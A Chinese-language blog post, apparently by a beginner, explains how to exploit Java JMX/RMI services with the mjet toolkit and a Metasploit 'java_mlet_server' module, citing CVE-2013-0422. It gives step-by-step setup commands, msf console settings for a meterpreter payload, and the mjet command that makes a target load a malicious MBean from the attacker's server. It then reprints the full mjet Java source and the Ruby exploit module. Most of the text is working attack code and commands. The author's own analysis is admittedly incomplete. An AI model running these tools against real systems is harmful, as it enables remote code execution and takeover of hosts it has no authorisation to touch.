关于metaspolit中进行JAVA反序列化渗透RMI的原理分析

一、背景：

这里需要对java反序列化有点了解，在这里得推广下自己的博客嘛，虽然写的不好，广告还是要做的。原谅我：

1、java反序列化漏洞原理研习

2、java反序列化漏洞的检测

二、攻击手法简介

针对这个使用msf攻击需要大家看一篇文章：JMX RMI Exploit 实例 ， 鸣谢，确实学到了很多，膜拜大牛 ， 简要介绍下攻击手法：

（1）下载mjet模块：下载连接mjet,如果是mac电脑安装好metaspolit以后可以直接使用git clone命令下载到metaspolit的父目录下：

git clone https://github.com/mogwaisec/mjet.git

（2）拷贝文件到响应目录下：

cp -r mjet/metasploit/MBean metasploit-framework-master/data/java/metaspolit
cp mjet/metasploit/java_mlet_server.rb metasploit-framework-master/modules/exploits/multi/misc/
cd mjet/src/java/metasploit/MetasploitBean/src/metasploit
javac Payload.java
cp Payload.class ~/Desktop/metasploit-framework-master/data/java/metasploit/

（3）进入msf，配置相关配置：

msf > use exploit/multi/misc/java_mlet_server
msf exploit(multi/misc/java_mlet_server) > set payload java/meterpreter/bind_tcp
payload => java/meterpreter/bind_tcp
msf exploit(multi/misc/java_mlet_server) > set LPORT
LPORT =>
msf exploit(multi/misc/java_mlet_server) > set LHOST 192.168.100.101
LHOST => 192.168.100.101
msf exploit(multi/misc/java_mlet_server) > set uripath /asdfgh
uripath => /asdfgh
msf exploit(multi/misc/java_mlet_server) > run

另外一边开启一个终端：

java -jar mjet.jar -p  -u http://192.168.100.101:8080/o5jSTI5rEWJw6Is/ -t 192.168.100.102

再补充一些msf的命令知识：

'''
对于msf来说
set LHOST、set LPORT、set RHOST、set RPORT就不说了都懂
查看配置选项show options
需要修改那个修改那个就可以了
set uripath /asdfgh
set SRVPORT 1234
等等
'''

三、下面来分析一下mjet的源码所进行的流程

声明：

这里使用正反向都可以拿shell，但是反连Server需要能直达，攻击互联网站点的化需要有一个公网IP。

很简单，到对方RMI去注册，然后RMI回连到msf起好的服务这里来：

我们来看mjet的源代码

 package de.mogwaisecurity.lab.mjet;

 import org.apache.commons.cli.*;
 import javax.management.remote.*;
 import javax.management.*;

 import java.util.*;

 public class Mjet {

     /**
      * @param args
      */
     public static void main(String[] args) {

         System.out.println("---------------------------------------------------");
         System.out.println("MJET - Mogwai Security JMX Exploitation Toolkit 0.1");
         System.out.println("---------------------------------------------------");
         System.out.println();

         CommandLineParser parser = new org.apache.commons.cli.BasicParser();

         Options cmdOptions = createCmdOptions();

         CommandLine cmd= null;

         try {
             cmd = parser.parse(cmdOptions, args);
         }
         catch(ParseException exp) {
             System.err.println( "[-] Error: " + exp.getMessage());
             System.err.println();

             // automatically generate the help statement
             HelpFormatter formatter = new HelpFormatter();
             formatter.printHelp( "mjet", cmdOptions );
             System.exit(1);
         }

         pwnJMXService(cmd);
     }

     private static Options createCmdOptions()
     {
         Options cmdOptions = new Options();

         // Required arguments
         Option targetOption = OptionBuilder.withArgName("host").hasArg().withDescription("target host").isRequired(true).create('t');
         Option portOption = OptionBuilder.withArgName("port").hasArg().withDescription("target service port").isRequired(true).create('p');
         Option urlOption = OptionBuilder.withArgName("url").hasArg().withDescription("url of the mlet web server").isRequired(true).create('u');

         targetOption.setLongOpt("target");
         portOption.setLongOpt("port");
         urlOption.setLongOpt("url");

         cmdOptions.addOption(targetOption);
         cmdOptions.addOption(portOption);
         cmdOptions.addOption(urlOption);        

         // Optional arguments
         Option helpOption = new Option("help", false, "show this help");
         cmdOptions.addOption(helpOption);

         return cmdOptions;
     }

     static void pwnJMXService(CommandLine line) {
         try {
             String serverName = line.getOptionValue("t");
             String servicePort = line.getOptionValue("p");
             String mLetUrl = line.getOptionValue("u");
             JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + serverName + ":" + servicePort +  "/jmxrmi");

             System.out.println("[+] Connecting to JMX URL: "+url +" ...");

             JMXConnector connector = JMXConnectorFactory.connect(url);
             MBeanServerConnection mBeanServer = connector.getMBeanServerConnection();

             System.out.println("[+] Connected: " + connector.getConnectionId());

             ObjectInstance payloadBean = null;

             System.out.println("[+] Trying to create MLet bean...");
             ObjectInstance mLetBean = null;

             try {
                 mLetBean = mBeanServer.createMBean("javax.management.loading.MLet", null);
             } catch (javax.management.InstanceAlreadyExistsException e) {
                 mLetBean = mBeanServer.getObjectInstance(new ObjectName("DefaultDomain:type=MLet"));
             }

             System.out.println("[+] Loaded "+mLetBean.getClassName());
             System.out.println("[+] Loading malicious MBean from " + mLetUrl);
             System.out.println("[+] Invoking: "+mLetBean.getClassName() + ".getMBeansFromURL");
             Object res = mBeanServer.invoke(mLetBean.getObjectName(), "getMBeansFromURL",
                     new Object[] { mLetUrl },
                     new String[] { String.class.getName() }
                 );

             HashSet res_set = ((HashSet)res);
             Iterator itr = res_set.iterator();
             Object nextObject = itr.next();

             if (nextObject instanceof Exception) {
                     throw ((Exception)nextObject);
             }
             payloadBean  = ((ObjectInstance)nextObject);

             System.out.println("[+] Loaded class: "+ payloadBean.getClassName());
             System.out.println("[+] Loaded MBean Server ID: "+ payloadBean.getObjectName());
             System.out.println("[+] Invoking: "+ payloadBean.getClassName()+".run()");                 

             mBeanServer.invoke(payloadBean.getObjectName(), "run", new Object[]{}, new String[]{});

             System.out.println("[+] Done");

         } catch (Exception e) {
             e.printStackTrace();
         }
     }
 }

先声明，我对java的懂得很少很少，初学者阶段。

只能说或这里调用了invoker，使用payloadBean.getObjectName.getMBeansFromURL这里调用getMBeansFromURL这个函数，我去百度了一下，这个函数

注册了咱们msf生成的那个server，然后看java_mlet_server.rb

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpServer::HTML

    def initialize( info = {} )

        super( update_info( info,
        'Name'          => 'Java Mlet Server',
        'Description'   => %q{
            This module abuses the JMX classes from a Java Applet to run arbitrary Java
            code outside of the sandbox as exploited in the wild in January of 2013. The
            vulnerability affects Java version 7u10 and earlier.
        },
        'License'       => MSF_LICENSE,
        'Author'        =>
        [
            'Unknown', # Vulnerability discovery
            'egypt', # Metasploit module
            'sinn3r', # Metasploit module
            'juan vazquez' # Metasploit module
        ],
        'References'    =>
        [
            [ 'CVE', '2013-0422' ]

        ],
        'Platform'      => %w{ java linux osx win },
        'Payload'       => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
        'Targets'       =>
        [
            [ 'Generic (Java Payload)',
                {
                    'Platform' => ['java'],
                    'Arch' => ARCH_JAVA,
                }
            ],
            [ 'Windows x86 (Native Payload)',
                {
                    'Platform' => 'win',
                    'Arch' => ARCH_X86,
                }
            ],
            [ 'Mac OS X x86 (Native Payload)',
                {
                    'Platform' => 'osx',
                    'Arch' => ARCH_X86,
                }
            ],
            [ 'Linux x86 (Native Payload)',
                {
                    'Platform' => 'linux',
                    'Arch' => ARCH_X86,
                }
            ],
        ],
        'DefaultTarget'  => 0,
        'DisclosureDate' => 'Jan 10 2013'
        ))
    end

    def setup
        path = File.join(Msf::Config.data_directory, "java", "metasploit", "MBean", "Metasploit.class")
        @mbean_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
        path = File.join(Msf::Config.data_directory, "java", "metasploit", "MBean", "MetasploitMBean.class")
        @interface_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }

        #@exploit_class_name = rand_text_alpha("Exploit".length)
        #@exploit_class.gsub!("Exploit", @exploit_class_name)
        super
    end

    def on_request_uri(cli, request)
        print_status("handling request for #{request.uri}")

        case request.uri
        when /\.jar$/i
            jar = payload.encoded_jar
            jar.add_file("metasploit/Metasploit.class", @mbean_class)
            jar.add_file("metasploit/MetasploitMBean.class", @interface_class)
            #metasploit_str = rand_text_alpha("metasploit".length)
            #payload_str = rand_text_alpha("payload".length)
            #jar.entries.each { |entry|
            #    entry.name.gsub!("metasploit", metasploit_str)
            #    entry.name.gsub!("Payload", payload_str)
            #    entry.data = entry.data.gsub("metasploit", metasploit_str)
            #    entry.data = entry.data.gsub("Payload", payload_str)
            #}
            jar.build_manifest

            send_response(cli, jar, { 'Content-Type' => "application/octet-stream" })
        when /\/$/
            payload = regenerate_payload(cli)
            if not payload
                print_error("Failed to generate the payload.")
                send_not_found(cli)
                return
            end
            send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
        else
            send_redirect(cli, get_resource() + '/', '')
        end

    end

    def generate_html
        html = %Q|<mlet code=metasploit.Metasploit archive=#{rand_text_alpha(8)}.jar name=#{rand_text_alpha(8)}:name=#{rand_text_alpha(8)},id=#{rand_text_alpha(8)} ></mlet>|
#        return html
    end

end

先声明我也只懂一个大概流程，等到rmi回连后，把那个构造好的class发过去，那边调用invoker接口去调用其中的run方法。

这里的打印也可以说明这个问题

看一下这几个类的代码，继承了MetaspolitMBean接口，在run方法中调用了Payload的run方法：

package metasploit;

public class Metasploit implements MetasploitMBean {
    public void run() {
        Payload.main(null);
    }
}

package metasploit;

public interface MetasploitMBean {
    public void run();
}

 package metasploit;

 public class Payload {

     public static void main(String[] args) {
         System.out.println("bla bla bla");

     }

 }

层层调用，但是也只是一个打印bla的类，在下面这段代码中就是调用这个run方法：

分析到这里就不知道怎么分析了，还是没搞清楚这样有啥用，shell是怎么反弹的，回归到rb的源码文件，看到这样的描述：

于是决定去看这个CVE，然后来琢磨怎么办？从描述上来看，是逃逸了sandbox执行代码。需要说明的是，java的RMI先后爆出了很多java反序列化漏洞，cve-2013-0422只是其中之一，后面也还有不少，所以这个cve-2013-0422也只是打击RMI的一个方法之一。影响的是7u10机器之前的版本。

根据一篇博客的详细记叙http://wcf1987.iteye.com/blog/1768599我们知道了这个是干掉java安全机制的漏洞，目标是逃逸出java沙箱以便于运行java applet代码。

这就要看mlet标签了，里面还是关于metaspolit的类。估计真正的恶意代码执行或者和恶意命令执行还是后面msf弄的，而不是单单一个run函数就可以搞定了。这后面的东西猜测与设定的payload有关，例如正反向的shell的那个java的payload里面可能有相关的东东。

等我请教大神之后再来写吧，先这样，待续待修正...